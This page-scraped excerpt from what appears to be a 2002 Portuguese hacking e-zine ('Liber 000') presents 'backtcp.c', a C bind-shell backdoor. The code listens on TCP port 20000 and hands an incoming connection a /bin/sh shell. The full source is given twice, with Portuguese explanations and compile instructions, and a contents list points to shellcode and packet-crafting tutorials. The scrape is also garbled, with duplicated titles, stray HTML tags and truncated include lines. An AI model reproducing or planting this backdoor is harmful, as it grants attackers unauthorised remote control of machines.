Liber 000 - Astrum Argentum
Liber 000 - Astrum Argentum Liber 000 - Astrum Argentum
struct sockaddr_in server_address; struct sockaddr_in client_address; Declaração dos sockets do cliente e do servidor além de variáveis auxiliares que iremos utilizar mais a frente. A clientpid e a serverpid, serão utilizadas para a abertura de processos mais tarde. sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bzero((char *) &server_address, sizeof(server_address)); server_address.sin_family=AF_INET; server_address.sin_port=htons(PORTA); server_address.sin_addr.s_addr=htonl(INADDR_ANY); bind(sockfd, (struct sockaddr *)&server_address, sizeof (server_address)); listen(sockfd, 5); signal(SIGHUP, SIG_IGN); Declaração dos sockets aqui vemos as linhas chaves de nosso programa. Declaramos socket sockfd, em seguida obtemos o IP da máquina que hospeda o backdoor (server_address.sin_family=AF_INET;). Em seguida declaramos a porta do qual o backddor estará ouvindo as conexões.( server_address.sin_port=htons(PORTA);) e por último utilizamos a função bind da qual associamos a porta TCP ao socket. E por último colocamos o socket em escuta, aguardando as conexões (listen (sockfd, 5);), tratando alguns sinais importantes no sistema (signal (SIGHUP, SIG_IGN);). Este é o cérebro de nosso programa. socklen=sizeof(client_address); temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen); Nesta fase tratamos a conexão do cliente colocando na variável temp o accept para a conexão feita pelo cliente. write(temp, MSGINI, sizeof(MSGINI)); if (temp < 0) exit(0); clientpid=getpid(); serverpid=fork(); if (serverpid != 0) { dup2(temp,0); dup2(temp,1); dup2(temp,2); execl("/bin/sh","/bin/sh",(char *)0; } close(temp); } Por último tartamos os PIDS e preparamos o ambiente para executar o shell (execl("/bin/sh","/bin/sh",(char *)0);/*) e pronto o backdoor estrá operando. 44
Apresentando o Código : Finalmente eis o código do backdoor : /* ====================================================================== | Exemplo de backdoor em protocolo TCP | | por Antonio Marcelo | | amarcelo@plebe.com.br | | outubro / 2002 | | visite a home page do autor em http://www.plebe.com.br | | Para compilar digite gcc -o backtcp backtcp.c | ====================================================================== */ #include #include #include #include #define PORTA 20000 /*Porta de Conexao do "backdoor"*/ #define MSGINI "Use virgulas no final dos comandos\n" /*Mensagem de boas vindas*/ int sockfd, count, clientpid, socklen, serverpid, temp, temp2,temp3,pid; struct sockaddr_in server_address; struct sockaddr_in client_address; main() { printf("\n---------\nExecutando no PID : %d\n---------\n",getpid()); sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bzero((char *) &server_address, sizeof(server_address)); server_address.sin_family=AF_INET; server_address.sin_port=htons(PORTA); server_address.sin_addr.s_addr=htonl(INADDR_ANY); bind(sockfd, (struct sockaddr *)&server_address, sizeof (server_address)); listen(sockfd, 5); signal(SIGHUP, SIG_IGN); socklen=sizeof(client_address); temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen); write(temp, MSGINI, sizeof(MSGINI)); if (temp < 0) exit(0); clientpid=getpid(); serverpid=fork(); if (serverpid != 0) { dup2(temp,0); dup2(temp,1); dup2(temp,2); execl("/bin/sh","/bin/sh",(char *)0);/*neste ponto executamos o shell*/ 45
- Page 1 and 2: 1 E Q U I N O X G R E E N Volume I
- Page 3 and 4: 2. FAZENDO CÓPIAS EXATAS Você pod
- Page 5 and 6: 10. REVISÕES FUTURAS DESTA LICENÇ
- Page 7 and 8: E Q U I N O X G R E E N O O R G Ã
- Page 9 and 10: E D I T O R I A L “Faze o que tu
- Page 11 and 12: Mensagem ao Estudante : Liber 000 A
- Page 13 and 14: Fraters afim de poder atender a tod
- Page 15 and 16: Este mundo tenta levar o neófito a
- Page 17 and 18: O Manifesto de um Hacker Data do Do
- Page 19 and 20: Seção 002h O Primeiro Portal Agor
- Page 21 and 22: Servidor : Endereço IP eth0 : 10.0
- Page 23 and 24: Quod facis, Fac citius Antes de ter
- Page 25 and 26: Nós iremos explorar nestes nossos
- Page 27 and 28: main(){ int e_socket; struct sockad
- Page 29 and 30: utilizando a função CONNECT(). co
- Page 31 and 32: O Grande exemplo I : Eis aqui o sca
- Page 33 and 34: } /*Declaracao do Socket*/; } msock
- Page 35 and 36: transmitidos e aceitos pelo destino
- Page 37 and 38: SackOK é típico de um cliente FTP
- Page 39 and 40: int nsocket, newsocket; struct sock
- Page 41 and 42: if ((he=gethostbyname(argv[1])) ==
- Page 43: O backtcp.c O backdoor aqui apresen
- Page 47 and 48: ) Protocolo IP (IP Protocol) - Este
- Page 49 and 50: ICMP (Internet Control Message Prot
- Page 51 and 52: # error "Please fix " #endif u_int8
- Page 53 and 54: ip_origem = inet_addr("127.0.0.1");
- Page 55 and 56: if (envia == -1) { perror("sendto()
- Page 57 and 58: Por Frater Q.V.I.F. 196 O E Q U I N
- Page 59 and 60: de Crowley, não exatamente a tradu
- Page 61 and 62: shellcodes, mas não quer dizer que
- Page 63 and 64: } shellcode/cwrite.c OBS: Sempre d
- Page 65 and 66: Vamos analisar o que fizemos e comp
- Page 67 and 68: da próxima instrução que no caso
- Page 69 and 70: Provavelmente você verá uma mensa
- Page 71 and 72: Type "show copying" to see the cond
- Page 73 and 74: oot@motdlabs:~/IP_FIX/shellcode# gc
- Page 75 and 76: * MotdLabs . * Compilação: # gcc
- Page 77 and 78: oot@motdlabs:~/IP_FIX/shellcode# gc
- Page 79 and 80: * Criamos um ponteiro para uma fun
- Page 81 and 82: 0x8048317 : sub $0x8,%esp 0x804831a
- Page 83 and 84: in/sh; */ (0). */ main() { "\x89\xe
- Page 85 and 86: Lembre-se: Se você tiver alguma d
- Page 87 and 88: */ "push $0x6E69622F \n" /* ...a ou
- Page 89 and 90: main() { "\x89\xe1" /* mov %esp,%ec
- Page 91 and 92: */ "push $0x722F3A3A \n" /* ...nova
- Page 93 and 94: main() { "\x68\x3a\x30\x3a\x30" /*
Apresentando o Código :<br />
Finalmente eis o código do backdoor :<br />
/*<br />
======================================================================<br />
| Exemplo de backdoor em protocolo TCP |<br />
| por Antonio Marcelo |<br />
| amarcelo@plebe.com.br |<br />
| outubro / 2002 |<br />
| visite a home page do autor em http://www.plebe.com.br |<br />
| Para compilar digite gcc -o backtcp backtcp.c |<br />
======================================================================<br />
*/<br />
#include <br />
#include <br />
#include <br />
#include <br />
#define PORTA 2<strong>000</strong>0 /*Porta de Conexao do "backdoor"*/<br />
#define MSGINI "Use virgulas no final dos comandos\n" /*Mensagem de<br />
boas vindas*/<br />
int sockfd, count, clientpid, socklen, serverpid, temp,<br />
temp2,temp3,pid;<br />
struct sockaddr_in server_address;<br />
struct sockaddr_in client_address;<br />
main()<br />
{<br />
printf("\n---------\nExecutando no PID : %d\n---------\n",getpid());<br />
sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br />
bzero((char *) &server_address, sizeof(server_address));<br />
server_address.sin_family=AF_INET;<br />
server_address.sin_port=htons(PORTA);<br />
server_address.sin_addr.s_addr=htonl(INADDR_ANY);<br />
bind(sockfd, (struct sockaddr *)&server_address, sizeof<br />
(server_address));<br />
listen(sockfd, 5);<br />
signal(SIGHUP, SIG_IGN);<br />
socklen=sizeof(client_address);<br />
temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen);<br />
write(temp, MSGINI, sizeof(MSGINI));<br />
if (temp < 0) exit(0);<br />
clientpid=getpid();<br />
serverpid=fork();<br />
if (serverpid != 0)<br />
{<br />
dup2(temp,0); dup2(temp,1); dup2(temp,2);<br />
execl("/bin/sh","/bin/sh",(char *)0);/*neste ponto executamos<br />
o shell*/<br />
45